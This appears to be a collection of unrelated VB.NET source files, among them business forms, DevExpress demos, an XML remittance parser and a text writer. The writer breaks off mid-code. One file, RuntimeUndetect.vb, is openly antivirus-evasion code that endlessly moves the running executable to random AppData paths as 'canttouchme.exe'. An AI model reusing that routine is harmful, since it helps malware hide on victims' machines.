Public Class ExtratoReport Implements IReports Public ReadOnly Property NameEmblasededReport As String Implements IReports.NameEmblasededReport Get Return "JirehReports.Extrato.rdlc" End Get End Property Public ReadOnly Property NameLocalReport As String Implements IReports.NameLocalReport Get Return "Extrato.rdlc" End Get End Property Public ReadOnly Property NameTable As String Implements IReports.NameTable Get Return "dsExtrato" End Get End Property Public Class ItemExtrato Public Property ContaCorrente As String Public Property LimiteCheque As Decimal Public Property SaldoBloqueado As Decimal Public Property SaldoDisponivel As Decimal Public Property SaldoInicio As Decimal Public Property DataLancamento As Date Public Property NumeroDoc As String Public Property Historico As String Public Property ValorLancamento As Decimal Public Property SaldoLinha As Decimal Public Property DCSaldoLinha As String Public Property DCSaldoValor As String Public Property DataExtrato As Date End Class Public Class ItemExtratoColumns Public Const ContaCorrente As String = "ContaCorrente" Public Const LimiteCheque As String = "LimiteCheque" Public Const SaldoBloqueado As String = "SaldoBloqueado" Public Const SaldoInicio As String = "SaldoInicio" Public Const SaldoTotal As String = "SaldoTotal" Public Const DataLancamento As String = "DataLancamento" Public Const NumeroDoc As String = "NumeroDoc" Public Const Historico As String = "Historico" Public Const ValorLancamento As String = "ValorLancamento" Public Const SaldoLinha As String = "SaldoLinha" Public Const DCSaldoLinha As String = "DCSaldoLinha" Public Const DCSaldoValor As String = "DCSaldoValor" Public Const DataExtrato As String = "DataExtrato" End Class End Class
Public Class NewMentorForm Private DB As New DBAccess Private Sub Button3_Click(sender As Object, e As EventArgs) Handles CancelButton.Click Me.Close() End Sub Private Sub ClearButton_Click(sender As Object, e As EventArgs) Handles ClearButton.Click FirstNameTextBox.Clear() LastNameTextBox.Clear() EmailTextBox.Clear() PhoneTextBox.Clear() CompanyComboBox.SelectedIndex = -1 End Sub Private Sub PopulateCompanyCombo() CompanyComboBox.Items.Clear() DB.ExecuteQuery("select * from company") For Each ADataRow As DataRow In DB.DBDataTable.Rows CompanyComboBox.Items.Add(ADataRow("name")) Next End Sub Private Sub NewMentorForm_Load(sender As Object, e As EventArgs) Handles MyBase.Load PopulateCompanyCombo() End Sub Private Function validateInputs() As String If String.IsNullOrWhiteSpace(FirstNameTextBox.Text) Then Return "Please enter first name" ElseIf String.IsNullOrWhiteSpace(LastNameTextBox.Text) Then Return "Please enter last name" ElseIf String.IsNullOrWhiteSpace(EmailTextBox.Text) Then Return "Please enter email" ElseIf String.IsNullOrWhiteSpace(PhoneTextBox.Text) Then Return "Please enter phone number" ElseIf CompanyComboBox.SelectedIndex = -1 Then Return "please select company" Else Return "All Correct" End If End Function Private Function getCompanyId(name As String) As Integer Dim id As Integer = 1 DB.AddParam("name", name) DB.ExecuteQuery("select * from company where name=?") If DB.Exception <> String.Empty Then MessageBox.Show(DB.Exception) Return id Exit Function End If If DB.Recordcount > 0 Then Return Integer.Parse(DB.DBDataTable(0)!id) Else Return id End If End Function Private Function checkIfExsists(email As String) As Integer DB.AddParam("@email", email) DB.ExecuteQuery("select count(*) as count from mentor where email =?") Return DB.DBDataTable(0)!count End Function Private Sub SaveButton_Click(sender As Object, e As EventArgs) Handles SaveButton.Click Dim p As Integer Dim s As String Dim id As Integer s = validateInputs() If s <> "All Correct" Then MessageBox.Show(s) Exit Sub End If p = checkIfExsists(EmailTextBox.Text) If p > 0 Then MessageBox.Show("Mentor already exsists") Exit Sub End If id = getCompanyId(CompanyComboBox.Text) DB.AddParam("@firstName", FirstNameTextBox.Text) DB.AddParam("@lastName", LastNameTextBox.Text) DB.AddParam("@email", EmailTextBox.Text) DB.AddParam("@phone", PhoneTextBox.Text) DB.AddParam("@cid", id) DB.AddParam("@status", 1) DB.ExecuteQuery("insert into mentor(first_name,last_name,email,phone,company_id,status) values(?,?,?,?,?,?)") If DB.Exception <> String.Empty Then MessageBox.Show(DB.Exception) Exit Sub End If MessageBox.Show("Successfully added mentor") Me.Close() End Sub End Class
Imports System Imports System.Collections.Generic Imports DevExpress.Mvvm Imports DevExpress.Mvvm.POCO Imports DevExpress.Xpf.Scheduling Imports DevExpress.XtraScheduler Namespace SchedulingDemo.ViewModels Public Class CalendarSettingsViewModel Public Shared DefaultWorkDays As New List(Of Object)() From {DayOfWeek.Monday, DayOfWeek.Tuesday, DayOfWeek.Wednesday, DayOfWeek.Thursday, DayOfWeek.Friday} Public Shared Function ConvertDayOfWeek(ByVal dayOfWeek As DayOfWeek) As WeekDays Dim weekDays As WeekDays Select Case dayOfWeek Case System.DayOfWeek.Monday weekDays = WeekDays.Monday Case System.DayOfWeek.Tuesday weekDays = WeekDays.Tuesday Case System.DayOfWeek.Wednesday weekDays = WeekDays.Wednesday Case System.DayOfWeek.Thursday weekDays = WeekDays.Thursday Case System.DayOfWeek.Friday weekDays = WeekDays.Friday Case System.DayOfWeek.Saturday weekDays = WeekDays.Saturday Case Else weekDays = WeekDays.Sunday End Select Return weekDays End Function Public Shared Function ConvertWorkDays(ByVal days As List(Of Object)) As WeekDays Dim result As WeekDays = CType(0, WeekDays) For Each dayOfWeek As Object In days result = result Or ConvertDayOfWeek(DirectCast(dayOfWeek, DayOfWeek)) Next dayOfWeek Return result End Function Public Shared Function Create() As CalendarSettingsViewModel Return ViewModelSource.Create(Function() New CalendarSettingsViewModel()) End Function Protected Sub New() ShowDayHeaders = True ShowResourceHeaders = True ShowResourceNavigator = True SnapToCellsMode = SnapToCellsMode.Always TimeIndicatorVisibility = TimeIndicatorVisibility.TodayView TimeMarkerVisibility = TimeMarkerVisibility.TodayView WorkTimeStart = New TimeSpan(6, 0, 0) WorkTimeEnd = New TimeSpan(20, 0, 0) YearTimeScaleIsEnabled = False QuarterTimeScaleIsEnabled = False MonthTimeScaleIsEnabled = False WeekTimeScaleIsEnabled = False DayTimeScaleIsEnabled = True HourTimeScaleIsEnabled = True IntervalCount = 10 FirstDayOfWeek = DayOfWeek.Sunday DayCount = 1 Days = DefaultWorkDays ShowAllDayArea = True ShowWorkTimeOnly = True End Sub Public Overridable Property SnapToCellsMode() As SnapToCellsMode Public Overridable Property ShowDayHeaders() As Boolean Public Overridable Property ShowResourceHeaders() As Boolean Public Overridable Property ShowResourceNavigator() As Boolean Public Overridable Property ShowAllDayArea() As Boolean Public Overridable Property ShowWorkTimeOnly() As Boolean Public Overridable Property WorkTimeStart() As TimeSpan Public Overridable Property WorkTimeEnd() As TimeSpan Public Overridable Property WorkTime() As TimeSpanRange Public Overridable Property DayCount() As Integer Public Overridable Property TimeMarkerVisibility() As TimeMarkerVisibility Public Overridable Property TimeIndicatorVisibility() As TimeIndicatorVisibility Public Overridable Property WorkDays() As WeekDays Public Overridable Property Days() As List(Of Object) Public Overridable Property FirstDayOfWeek() As DayOfWeek Public Overridable Property IntervalCount() As Integer Public Overridable Property YearTimeScaleIsEnabled() As Boolean Public Overridable Property QuarterTimeScaleIsEnabled() As Boolean Public Overridable Property MonthTimeScaleIsEnabled() As Boolean Public Overridable Property WeekTimeScaleIsEnabled() As Boolean Public Overridable Property DayTimeScaleIsEnabled() As Boolean Public Overridable Property HourTimeScaleIsEnabled() As Boolean Public Sub ApplySettings(ByVal calendarSettings As CalendarSettingsViewModel) ShowDayHeaders = calendarSettings.ShowDayHeaders ShowResourceHeaders = calendarSettings.ShowResourceHeaders ShowResourceNavigator = calendarSettings.ShowResourceNavigator SnapToCellsMode = calendarSettings.SnapToCellsMode TimeIndicatorVisibility = calendarSettings.TimeIndicatorVisibility TimeMarkerVisibility = calendarSettings.TimeMarkerVisibility WorkTimeStart = calendarSettings.WorkTimeStart WorkTimeEnd = calendarSettings.WorkTimeEnd YearTimeScaleIsEnabled = calendarSettings.YearTimeScaleIsEnabled QuarterTimeScaleIsEnabled = calendarSettings.QuarterTimeScaleIsEnabled MonthTimeScaleIsEnabled = calendarSettings.MonthTimeScaleIsEnabled WeekTimeScaleIsEnabled = calendarSettings.WeekTimeScaleIsEnabled DayTimeScaleIsEnabled = calendarSettings.DayTimeScaleIsEnabled HourTimeScaleIsEnabled = calendarSettings.HourTimeScaleIsEnabled IntervalCount = calendarSettings.IntervalCount FirstDayOfWeek = calendarSettings.FirstDayOfWeek DayCount = calendarSettings.DayCount Days = calendarSettings.Days ShowAllDayArea = calendarSettings.ShowAllDayArea ShowWorkTimeOnly = calendarSettings.ShowWorkTimeOnly End Sub Protected Sub OnWorkTimeStartChanged() Dim [end] As TimeSpan = If(WorkTimeEnd < WorkTimeStart, WorkTimeStart.Add(TimeSpan.FromHours(1)), WorkTimeEnd) WorkTime = New TimeSpanRange(WorkTimeStart, [end]) End Sub Protected Sub OnWorkTimeEndChanged() Dim start As TimeSpan = If(WorkTimeEnd < WorkTimeStart, WorkTimeEnd.Add(TimeSpan.FromHours(-1)), WorkTimeStart) WorkTime = New TimeSpanRange(start, WorkTimeEnd) End Sub Protected Sub OnDaysChanged() If Days Is Nothing Then Days = DefaultWorkDays Return End If WorkDays = ConvertWorkDays(Days) End Sub End Class End Namespace
Imports DevExpress.Xpf.DemoBase.DataClasses Imports DevExpress.Xpf.Grid Imports System Imports System.Windows.Media Imports System.Windows.Media.Imaging Namespace GridDemo Partial Public Class TreeListView Inherits GridDemoModule Public Sub New() InitializeComponent() End Sub End Class Public Class EmployeeCategoryImageSelector Inherits TreeListNodeImageSelector Public Overrides Function [Select](ByVal rowData As DevExpress.Xpf.Grid.TreeList.TreeListRowData) As ImageSource Dim empl As Employee = (TryCast(rowData.Row, Employee)) If empl Is Nothing OrElse String.IsNullOrEmpty(empl.GroupName) Then Return Nothing End If Dim path = GroupNameToImageConverterExtension.GetImagePathByGroupName(empl.GroupName) Return New BitmapImage(New Uri(path)) End Function End Class End Namespace
Imports System Imports System.Windows Imports System.Collections.Generic Imports System.IO Imports DevExpress.XtraScheduler Imports DevExpress.Xpf.Editors Imports DevExpress.Xpf.Scheduler Imports DevExpress.XtraScheduler.Reporting Imports DevExpress.XtraReports.UI Imports DevExpress.Xpf.Printing Imports DevExpress.Xpf.Scheduler.Reporting Imports DevExpress.Xpf.Scheduler.Reporting.UI Namespace SchedulerDemo Partial Public Class ReportTemplates Inherits SchedulerDemoModule Public Sub New() ViewModel = New SchedulerPrintingSettingsFormViewModel() InitializeComponent() InitializeScheduler() scheduler.Storage.ResourceStorage.Mappings.Image = "" InitializeSettingsFormViewModel() Me.DataContext = Me SubscribePrintAdapterEvents() End Sub Private privateViewModel As SchedulerPrintingSettingsFormViewModel Public Property ViewModel() As SchedulerPrintingSettingsFormViewModel Get Return privateViewModel End Get Private Set(ByVal value As SchedulerPrintingSettingsFormViewModel) privateViewModel = value End Set End Property Private Sub InitializeSettingsFormViewModel() ViewModel.ReportInstance = New XtraSchedulerReport() ViewModel.SchedulerPrintAdapter = adapter ViewModel.AvailableResources = GetAvailableResources() ViewModel.TimeInterval = New TimeInterval(scheduler.Start, scheduler.Start.AddDays(7)) ViewModel.ReportTemplateInfoSource = SchedulerDataHelper.GetReportTemplateCollection() ViewModel.ActiveReportTemplateIndex = 0 End Sub Private Function GetAvailableResources() As ResourceBaseCollection Return scheduler.Storage.ResourceStorage.Items End Function Private Function GetOnScreenResources() As ResourceBaseCollection Return scheduler.ActiveView.GetResources() End Function Private Sub btnPreview_Click(ByVal sender As Object, ByVal e As RoutedEventArgs) ViewModel.OnScreenResources = GetOnScreenResources() Dim printingSettingsForm As SchedulerPrintingSettingsForm = CreatePrintingSettingsForm() printingSettingsForm.ShowDialog() End Sub Private Function CreatePrintingSettingsForm() As SchedulerPrintingSettingsForm Dim form As New SchedulerPrintingSettingsForm(ViewModel) form.FlowDirection = scheduler.FlowDirection AddHandler form.PreviewButtonClick, AddressOf printingSettingsForm_PreviewButtonClick AddHandler form.Closed, AddressOf printingSettingsForm_Closed Return form End Function Private Sub printingSettingsForm_Closed(ByVal sender As Object, ByVal e As EventArgs) Dim form As SchedulerPrintingSettingsForm = TryCast(sender, SchedulerPrintingSettingsForm) RemoveHandler form.PreviewButtonClick, AddressOf printingSettingsForm_PreviewButtonClick RemoveHandler form.Closed, AddressOf printingSettingsForm_Closed End Sub Private Sub printingSettingsForm_PreviewButtonClick(ByVal sender As Object, ByVal e As EventArgs) Dim form As SchedulerPrintingSettingsForm = TryCast(sender, SchedulerPrintingSettingsForm) Dim settings As ISchedulerPrintingSettings = DirectCast(form.PrintingSettings, ISchedulerPrintingSettings) Dim reportTemplatePath As String = settings.GetReportTemplatePath() If reportTemplatePath.ToLower().Contains("trifold") Then settings.SchedulerPrintAdapter.EnableSmartSync = True End If End Sub Private Sub PrintAdapter_ValidateResources(ByVal sender As Object, ByVal e As DevExpress.XtraScheduler.Reporting.ResourcesValidationEventArgs) e.Resources.Clear() e.Resources.AddRange(ViewModel.PrintResources) End Sub Private Sub SubscribePrintAdapterEvents() AddHandler adapter.ValidateResources, AddressOf PrintAdapter_ValidateResources End Sub Private Sub UnsubscribePrintAdapterEvents() RemoveHandler adapter.ValidateResources, AddressOf PrintAdapter_ValidateResources End Sub End Class End Namespace
Imports System.Net Namespace API.Models.Responses Public Class Network Public Property DCID As String Public Property NETWORKID As String Public Property date_created As String Public Property description As String Public Property v4_subnet As String Public Property v4_subnet_mask As Integer End Class Public Structure NetworkCreateResult Public Property Network As Network Public Property ApiResponse As HttpWebResponse End Structure Public Structure NetworkDeleteResult Public Property ApiResponse As HttpWebResponse End Structure Public Structure NetworkResult Public Property Networks As Dictionary(Of String, Network) Public Property ApiResponse As HttpWebResponse End Structure End Namespace
Imports Microsoft.VisualBasic Imports System Imports System.Xml Imports Talent.Common '-------------------------------------------------------------------------------------------------- ' Project Trading Portal Project. ' ' Function This class is used to deal with Customer Remittance Requests ' ' Date Apr 2007 ' ' Author ' ' © CS Group 2007 All rights reserved. ' ' Error Number Code base TTPRQCRA- ' ' Modification Summary ' ' dd/mm/yy ID By Description ' -------- ----- --- ----------- ' '-------------------------------------------------------------------------------------------------- Namespace Talent.TradingPortal Public Class XmlCustRemittRequest Inherits XmlRequest Private _der As DeRemittances Public Property Der() As DeRemittances Get Return _der End Get Set(ByVal value As DeRemittances) _der = value End Set End Property Public Overrides Function AccessDatabase(ByVal xmlResp As XmlResponse) As XmlResponse Dim xmlAction As XmlCustRemittResponse = CType(xmlResp, XmlCustRemittResponse) Dim TalentRemittance As New TalentRemittance() Dim err As ErrorObj = Nothing '-------------------------------------------------------------------- Select Case MyBase.DocumentVersion Case Is = "1.0" err = LoadXmlV1() End Select '-------------------------------------------------------------------- ' Place the Request ' If Not err.HasError Then With TalentRemittance .Der = Der .Settings = Settings err = .CustRemittances End With If err.HasError Then _ xmlResp.Err = err End If '-------------------------------------------------------------------- With xmlAction .ResultDataSet = TalentRemittance.ResultDataSet .Err = err .CreateResponse() End With Return CType(xmlAction, XmlResponse) End Function Private Function LoadXmlV1() As ErrorObj Const ModuleName As String = "LoadXmlV1" Dim err As New ErrorObj '-------------------------------------------------------------------------- ' We have the full XMl document held in xmlDoc. Putting all the data found into Data ' Entities ' Dim Node1, Node2, Node3 As XmlNode Dim derH As New DeRemittanceHeader ' Headers Dim derL As New DeRemittanceLines ' Items Dim RemittanceHeader As String = String.Empty Der = New DeRemittances Try For Each Node1 In xmlDoc.SelectSingleNode("//CustomerRemittanceRequest").ChildNodes Select Case Node1.Name Case Is = "TransactionHeader" Der.CollDETrans.Add(Extract_TransactionHeader(Node1)) Case Is = "Remittances" '---------------------------------------------------------------------------------- For Each Node2 In Node1.ChildNodes Select Case Node2.Name Case Is = "RemittanceHeader" derH = New DeRemittanceHeader For Each Node3 In Node2.ChildNodes With derH .RemittanceHeader = Node2.Attributes("Header").Value RemittanceHeader = .RemittanceHeader Select Case Node3.Name Case Is = "CompanyCode" : .CompanyCode = Node3.InnerText Case Is = "BankAccountNo" : .BankAccountNo = Node3.InnerText Case Is = "SOPorderNo" : .SOPorderNo = Node3.InnerText Case Is = "BankReference" : .BankReference = Node3.InnerText Case Is = "PaymentMethod" : .PaymentMethod = Node3.InnerText Case Is = "PostingDate" : .PostingDate = Node3.InnerText Case Is = "CurrencyCode" : .CurrencyCode = Node3.InnerText Case Is = "CurrencyValue" : .CurrencyValue = Node3.InnerText Case Is = "ConfirmedBaseCurrencyValue" : .ConfirmedBaseCurrencyValue = Node3.InnerText Case Is = "CustomerBankCode" : .CustomerBankCode = Node3.InnerText Case Is = "ThirdPartyName" : .ThirdPartyName = Node3.InnerText Case Is = "ThirdPartyAddressLine1" : .ThirdPartyAddressLine1 = Node3.InnerText Case Is = "ThirdPartyAddressLine2" : .ThirdPartyAddressLine2 = Node3.InnerText Case Is = "ThirdPartyAddressLine3" : .ThirdPartyAddressLine3 = Node3.InnerText Case Is = "ThirdPartyAddressLine4" : .ThirdPartyAddressLine4 = Node3.InnerText Case Is = "ThirdPartyAddressLine5" : .ThirdPartyAddressLine5 = Node3.InnerText Case Is = "ThirdPartyPostcode" : .ThirdPartyPostcode = Node3.InnerText Case Is = "OriginatingAccountName" : .OriginatingAccountName = Node3.InnerText Case Is = "OurBankDetails" : .OurBankDetails = Node3.InnerText Case Is = "ThirdPartyCountry" : .ThirdPartyCountry = Node3.InnerText Case Is = "OurBankCountryCode" : .OurBankCountryCode = Node2.InnerText End Select End With Next Der.CollDeRemittHeader.Add(derH) '---------------------------------------------------------- Case Is = "RemittanceLines" derL = New DeRemittanceLines For Each Node3 In Node2.ChildNodes With derL .RemittanceHeader = RemittanceHeader Select Case Node3.Name Case Is = "RemittanceLine" .LineNumber = Node3.Attributes("LineNumber").Value .RemittanceLine = Node3.InnerText Case Is = "MasterItemType" : .MasterItemType = Node3.InnerText Case Is = "LedgerEntryDocumentReference" : .LedgerEntryDocumentReference = Node3.InnerText Case Is = "PostingAmountPrime" : .PostingAmountPrime = Node3.InnerText Case Is = "DiscountAmountPrime" : .DiscountAmountPrime = Node3.InnerText Case Is = "SuppliersReference" : .SuppliersReference = Node3.InnerText End Select End With Next Der.CollDERemittLines.Add(derL) End Select Next Node2 '--------------------------------------------------------------------------------- End Select Next Node1 Catch ex As Exception With err .ErrorMessage = ex.Message .ErrorStatus = ModuleName & " Error" .ErrorNumber = "TTPRQCRA-01" .HasError = True End With End Try Return err End Function End Class End Namespace
Public Class Rechercher Inherits System.Web.UI.Page ''' <summary> ''' LOAD ''' </summary> ''' <param name="sender"></param> ''' <param name="e"></param> ''' <remarks></remarks> Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load If Not IsPostBack Then UcCritereRecherche.ResetData() End If End Sub ''' <summary> ''' Click sur annuler ''' </summary> ''' <param name="sender"></param> ''' <param name="e"></param> ''' <remarks></remarks> Protected Sub btnAnnuler_Click(sender As Object, e As EventArgs) Handles btnAnnuler.Click UcCritereRecherche.ResetData() End Sub Protected Sub btnRechercher_Click(sender As Object, e As EventArgs) Handles btnRechercher.Click End Sub End Class
Imports System.Data.SqlClient Public Class CajasTrailers Private id As Integer Private marca As String Private serie As String Private numeroEconomico As String Private placasMex As String Private placasUsa As String Private longitud As Double Public Property EId() As Integer Get Return id End Get Set(value As Integer) id = value End Set End Property Public Property EMarca() As String Get Return marca End Get Set(value As String) marca = value End Set End Property Public Property ESerie() As String Get Return serie End Get Set(value As String) serie = value End Set End Property Public Property ENumeroEconomico() As String Get Return numeroEconomico End Get Set(value As String) numeroEconomico = value End Set End Property Public Property EPlacasMex() As String Get Return placasMex End Get Set(value As String) placasMex = value End Set End Property Public Property EPlacasUsa() As String Get Return placasUsa End Get Set(value As String) placasUsa = value End Set End Property Public Property ELongitud() As Double Get Return longitud End Get Set(value As Double) longitud = value End Set End Property Public Function ObtenerListadoReporte() As DataTable Try Dim datos As New DataTable Dim comando As New SqlCommand() comando.Connection = BaseDatos.conexionCatalogo comando.CommandText = String.Format("SELECT Id, Marca+' - '+Serie AS Nombre, (CAST(Id AS Varchar)+' - '+Marca+' - '+Serie) AS IdNombre FROM {0}CajasTrailers " & _ " UNION SELECT -1 AS Id, NULL AS Nombre, NULL AS IdNombre FROM {0}CajasTrailers " & _ " ORDER BY Id ASC", EYELogicaEmbarques.Programas.prefijoBaseDatosEmpaque) BaseDatos.conexionCatalogo.Open() Dim dataReader As SqlDataReader dataReader = comando.ExecuteReader() datos.Load(dataReader) BaseDatos.conexionCatalogo.Close() Return datos Catch ex As Exception Throw ex Finally BaseDatos.conexionCatalogo.Close() End Try End Function Public Function ObtenerListadoReporteCatalogo() As DataTable Try Dim datos As New DataTable Dim comando As New SqlCommand() comando.Connection = BaseDatos.conexionCatalogo comando.CommandText = String.Format("SELECT Id, Marca+' - '+Serie AS Nombre FROM {0}CajasTrailers ORDER BY Id ASC", EYELogicaEmbarques.Programas.prefijoBaseDatosEmpaque) BaseDatos.conexionCatalogo.Open() Dim dataReader As SqlDataReader dataReader = comando.ExecuteReader() datos.Load(dataReader) BaseDatos.conexionCatalogo.Close() Return datos Catch ex As Exception Throw ex Finally BaseDatos.conexionCatalogo.Close() End Try End Function End Class
Imports ENTITIES Imports BLL Public Class InstalacionVista Private vInstalacionENT As InstalacionENT Public Property InstalacionENT() As InstalacionENT Get Return vInstalacionENT End Get Set(ByVal value As InstalacionENT) vInstalacionENT = value End Set End Property Private vInstalacionBLL As InstalacionBLL Public Property InstalacionBLL() As InstalacionBLL Get Return vInstalacionBLL End Get Set(ByVal value As InstalacionBLL) vInstalacionBLL = value End Set End Property Sub New() Me.InstalacionENT = New InstalacionENT Me.InstalacionBLL = New InstalacionBLL End Sub End Class
Imports System.Threading Imports System.Runtime.InteropServices Imports System.Reflection Imports System.IO ''' <summary> ''' RuntimeUndetect.vb ''' Original idea and POC by Dr4xey from OffensiveEncode org ''' </summary> ''' <remarks>Uses a lot (~10-20% cpu and ~0.6MB/s disk usage)</remarks> Public Class RuntimeUndetect Private Shared rnd As New Random(-1903770366) Private Shared thread As New Thread(AddressOf Runtime) <DllImport("kernel32.dll", CharSet:=CharSet.Auto)> _ Private Shared Function MoveFile(ByVal src As String, ByVal dst As String) As Boolean End Function Public Shared ReadOnly Property IsRunning() As Boolean Get If thread IsNot Nothing Then Return thread.IsAlive Else Return False End If End Get End Property ''' <summary> ''' Starts the runtime undetection process ''' </summary> ''' <remarks></remarks> Public Shared Sub Start() If thread IsNot Nothing Then If Not thread.IsAlive Then thread.Start() End If Else thread = New Thread(AddressOf Runtime) thread.Start() End If End Sub ''' <summary> ''' Stops the runtime undetection process ''' </summary> ''' <remarks></remarks> Public Shared Sub [Stop]() If thread IsNot Nothing Then If thread.IsAlive Then thread.Abort() End If End If End Sub ''' <summary> ''' The actual process ''' </summary> ''' <remarks></remarks> Private Shared Sub Runtime() Dim lastpath As String = Assembly.GetExecutingAssembly.Location Dim nextpath As String = rndPath() While True MoveFile(lastpath, nextpath) lastpath = nextpath nextpath = rndPath() End While End Sub ''' <summary> ''' Gets a random dir in appdata + \canttouchme.exe ''' </summary> ''' <returns></returns> ''' <remarks></remarks> Private Shared Function rndPath() Dim ls As New List(Of String) For Each f As String In Directory.GetDirectories(Environ("APPDATA")) ls.Add(f & "\canttouchme.exe") Next Return ls(rnd.Next(0, ls.Count)) End Function End Class
'========================================================================== ' ' File: SyntaxWriter.vb ' Location: Firefly.Texting.TreeFormat <Visual Basic .Net> ' Description: 文本输出类 ' Version: 2019.04.28. ' Copyright(C) F.R.C. ' '========================================================================== Imports System Imports System.Collections.Generic Imports System.Linq Imports System.Diagnostics Imports System.Text.RegularExpressions Imports System.IO Imports Firefly.Mapping.MetaSchema Imports Firefly.TextEncoding Imports Firefly.Texting.TreeFormat.Syntax Namespace Texting.TreeFormat Public Class TreeFormatSyntaxWriter Private sw As StreamWriter Public Sub New(ByVal sw As StreamWriter) Me.sw = sw End Sub Private Shared ReadOnly Comment As String = "$Comment" Private Shared ReadOnly Empty As String = "$Empty" Private Shared ReadOnly StringDirective As String = "$String" Private Shared ReadOnly EndDirective As String = "$End" Private Shared ReadOnly List As String = "$List" Private Shared ReadOnly Table As String = "$Table" Public Sub Write(ByVal Forest As Forest) For Each mn In Forest.MultiNodesList WriteMultiNodes(0, mn) Next End Sub Private Sub WriteMultiNodes(ByVal IndentLevel As Integer, ByVal mn As MultiNodes) Select Case mn._Tag Case MultiNodesTag.Node WriteNode(IndentLevel, mn.Node) Case MultiNodesTag.ListNodes WriteListNodes(IndentLevel, mn.ListNodes) Case MultiNodesTag.TableNodes WriteTableNodes(IndentLevel, mn.TableNodes) Case MultiNodesTag.FunctionNodes WriteFunctionNodes(IndentLevel, mn.FunctionNodes) Case Else Throw New InvalidOperationException End Select End Sub Private Sub WriteNode(ByVal IndentLevel As Integer, ByVal n As Node) Select Case n._Tag Case NodeTag.SingleLineNodeLine WriteSingleLineNodeLine(IndentLevel, n.SingleLineNodeLine) Case NodeTag.MultiLineLiteral WriteMultiLineLiteral(IndentLevel, n.MultiLineLiteral) Case NodeTag.SingleLineComment WriteSingleLineComment(IndentLevel, n.SingleLineComment) Case NodeTag.MultiLineComment WriteMultiLineComment(IndentLevel, n.MultiLineComment) Case NodeTag.MultiLineNode WriteMultiLineNode(IndentLevel, n.MultiLineNode) Case Else Throw New InvalidOperationException End Select End Sub Private Sub WriteListNodes(ByVal IndentLevel As Integer, ByVal ln As ListNodes) Dim ChildHeadLiteral = GetLiteral(ln.ChildHead.Text, True).SingleLine If ln.SingleLineComment.OnSome Then Dim slc = GetSingleLineComment(ln.SingleLineComment.Value) WriteRaw(IndentLevel, List, ChildHeadLiteral, slc) Else WriteRaw(IndentLevel, List, ChildHeadLiteral) End If For Each mn In ln.Children WriteMultiNodes(IndentLevel + 1, mn) Next WriteEndDirective(IndentLevel, ln.EndDirective) End Sub Private Sub WriteTableNodes(ByVal IndentLevel As Integer, ByVal tn As TableNodes) Dim ChildHeadLiteral = GetLiteral(tn.ChildHead.Text, True).SingleLine Dim ChildFields = Combine(tn.ChildFields.Select(Function(f) GetSingleLineLiteral(f)).ToArray()) If tn.SingleLineComment.OnSome Then Dim slc = GetSingleLineComment(tn.SingleLineComment.Value) WriteRaw(IndentLevel, Table, ChildHeadLiteral, ChildFields, slc) Else WriteRaw(IndentLevel, Table, ChildHeadLiteral, ChildFields) End If Dim NumColumn = (New Integer() {0}).Concat(tn.Children.Select(Function(c) c.Nodes.Count)).Max() + 1 Dim DataTable As New List(Of String()) For Each tl In tn.Children Dim l As New List(Of String) For Each n In tl.Nodes l.Add(GetTableLineNode(n)) Next If tl.SingleLineComment.OnSome Then l.Add(GetSingleLineComment(tl.SingleLineComment.Value)) End If While l.Count < NumColumn l.Add("") End While DataTable.Add(l.ToArray()) Next Dim DataLines = GetDataLines(DataTable.ToArray()) For Each dl In DataLines WriteRaw(IndentLevel + 1, dl) Next WriteEndDirective(IndentLevel, tn.EndDirective) End Sub Private Function GetDataLines(ByVal DataTable As String()()) As String() If DataTable.Length = 0 Then Return New String() {} Dim NumColumn = DataTable.Select(Function(Row) Row.Length).Distinct().Single() Dim ColumnLength = Enumerable.Range(0, NumColumn).Select(Function(i) ((New Integer() {0}).Concat(DataTable.Select(Function(Row) CalculateCharWidth(Row(i)))).Max() + 1).CeilToMultipleOf(4) + 4).ToArray() Dim NodeLines = New List(Of String)() For Each Row In DataTable NodeLines.Add(String.Join("", Row.Zip(ColumnLength, Function(v, l) v + New String(" "c, l - CalculateCharWidth(v))))) Next Return NodeLines.Select(Function(Line) Line.TrimEnd(" "c)).ToArray() End Function Private Function CalculateCharWidth(ByVal s As String) As Integer Return s.ToUTF32().Select(Function(c) If(c.IsHalfWidth, 1, 2)).Sum() End Function Private Sub WriteFunctionNodes(ByVal IndentLevel As Integer, ByVal fn As FunctionNodes) Dim Tokens = CombineTokens(fn.Parameters.Select(Function(t) GetToken(t)).ToArray()) If fn.SingleLineComment.OnSome Then Dim slc = GetSingleLineComment(fn.SingleLineComment.Value) WriteRaw(IndentLevel, GetFunctionDirective(fn.FunctionDirective), Tokens, slc) Else WriteRaw(IndentLevel, GetFunctionDirective(fn.FunctionDirective), Tokens) End If Dim ContentIndentLevel = fn.Content.IndentLevel For Each l In fn.Content.Lines If l.Text.Take(ContentIndentLevel * 4).Where(Function(c) c <> " ").Count > 0 Then Throw New ArgumentException(l.Text) End If WriteRaw(IndentLevel + 1, New String(l.Text.Skip(ContentIndentLevel * 4).ToArray())) Next WriteEndDirective(IndentLevel, fn.EndDirective) End Sub Private Sub WriteSingleLineNodeLine(ByVal IndentLevel As Integer, ByVal slnl As SingleLineNodeLine) Dim sln = GetSingleLineNode(slnl.SingleLineNode) If slnl.SingleLineComment.OnSome Then Dim slc = GetSingleLineComment(slnl.SingleLineComment.Value) WriteRaw(IndentLevel, sln, slc) Else WriteRaw(IndentLevel, sln) End If End Sub Private Sub WriteMultiLineLiteral(ByVal IndentLevel As Integer, ByVal mll As MultiLineLiteral) If mll.SingleLineComment.OnSome Then Dim slc = GetSingleLineComment(mll.SingleLineComment.Value) WriteRaw(IndentLevel, StringDirective, slc) Else WriteRaw(IndentLevel, StringDirective) End If Dim MultiLine = GetLiteral(mll.Content.Text, False, True).MultiLine For Each Line In MultiLine WriteRaw(IndentLevel + 1, Line) Next WriteEndDirective(IndentLevel, mll.EndDirective) End Sub Private Sub WriteSingleLineComment(ByVal IndentLevel As Integer, ByVal slc As SingleLineComment) WriteRaw(IndentLevel, GetSingleLineComment(slc)) End Sub Private Sub WriteMultiLineComment(ByVal IndentLevel As Integer, ByVal mlc As MultiLineComment) If mlc.SingleLineComment.OnSome Then Dim slc = GetSingleLineComment(mlc.SingleLineComment.Value) WriteRaw(IndentLevel, Comment, slc) Else WriteRaw(IndentLevel, Comment) End If Dim MultiLine = GetLiteral(mlc.Content.Text, False, True).MultiLine For Each Line In MultiLine WriteRaw(IndentLevel + 1, Line) Next WriteEndDirective(IndentLevel, mlc.EndDirective) End Sub Private Sub WriteMultiLineNode(ByVal IndentLevel As Integer, 